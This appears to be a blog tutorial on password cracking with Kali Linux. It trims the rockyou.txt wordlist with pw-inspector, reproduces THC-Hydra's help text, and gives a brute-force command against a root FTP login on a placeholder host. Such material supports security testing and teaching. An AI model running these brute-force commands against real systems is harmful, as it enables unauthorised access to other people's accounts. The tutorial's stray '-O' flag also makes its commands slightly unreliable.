Hydra is a parallelized login cracker that enables user to launch numerous protocols to attack. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

Steps:

Pw-Inspector

First, we use pw-inspector to create a file that meet your requirements for password. The list of command from pw-inspector are:

root@kali:~# pw-inspector
PW-Inspector v0.2 (c) 2005 by van Hauser / THC vh@thc.org [http://www.thc.org]

Syntax: pw-inspector [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p -s

Options:
  -i FILE    file to read passwords from (default: stdin)
  -o FILE    file to write valid passwords to (default: stdout)
  -m MINLEN  minimum length of a valid password
  -M MAXLEN  maximum length of a valid password
  -c MINSETS the minimum number of sets required (default: all given)
Sets:
  -l         lowcase characters (a,b,c,d, etc.)
  -u         upcase characters (A,B,C,D, etc.)
  -n         numbers (1,2,3,4, etc.)
  -p         printable characters (which are not -l/-n/-p, e.g. $,!,/,(,*, etc.)
  -s         special characters - all others not withint the sets above

PW-Inspector reads passwords in and prints those which meet the requirements.
The return code is the number of valid passwords found, 0 if none was found.
Use for security: check passwords, if 0 is returned, reject password choice.
Use for hacking: trim your dictionary file to the pw requirements of the target.
Usage only allowed for legal purposes.

I use the rockyou.txt file available from Kali Linux by typing

pw-inspector -i /path/to/input.list -O /path/to/output -m minchar -M maxchar

To check if it’s done, cd to the output path and find the file by typing

cd /path/to/output

find file.txt

We’ll see our password list available if it returns the file.

THC-Hydra

After we’re done with our pw-inspector and created the password list, we can use hydra to brute force the password

to start using hydra, type

hydra -h

to find all available commands in your hydra

root@kali:~# hydra -h
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 oracle.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080
       % export HYDRA_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5

now, we’ll try to brute force the ftp on the other machine. To do so, type

hydra -t 10 -V -f -l root -P /path/to/your/passwordlist ftp://target.ip.address

• -t 10 to run 10 tasks simultaneously
• -V to run the verbose mode
• -f  to finish the execution when password is found
• -l root to specify the user root
• -P /path/to/your/passwordlist to specify the password that will be used on cracking

Now, we wait until password is found or process is done.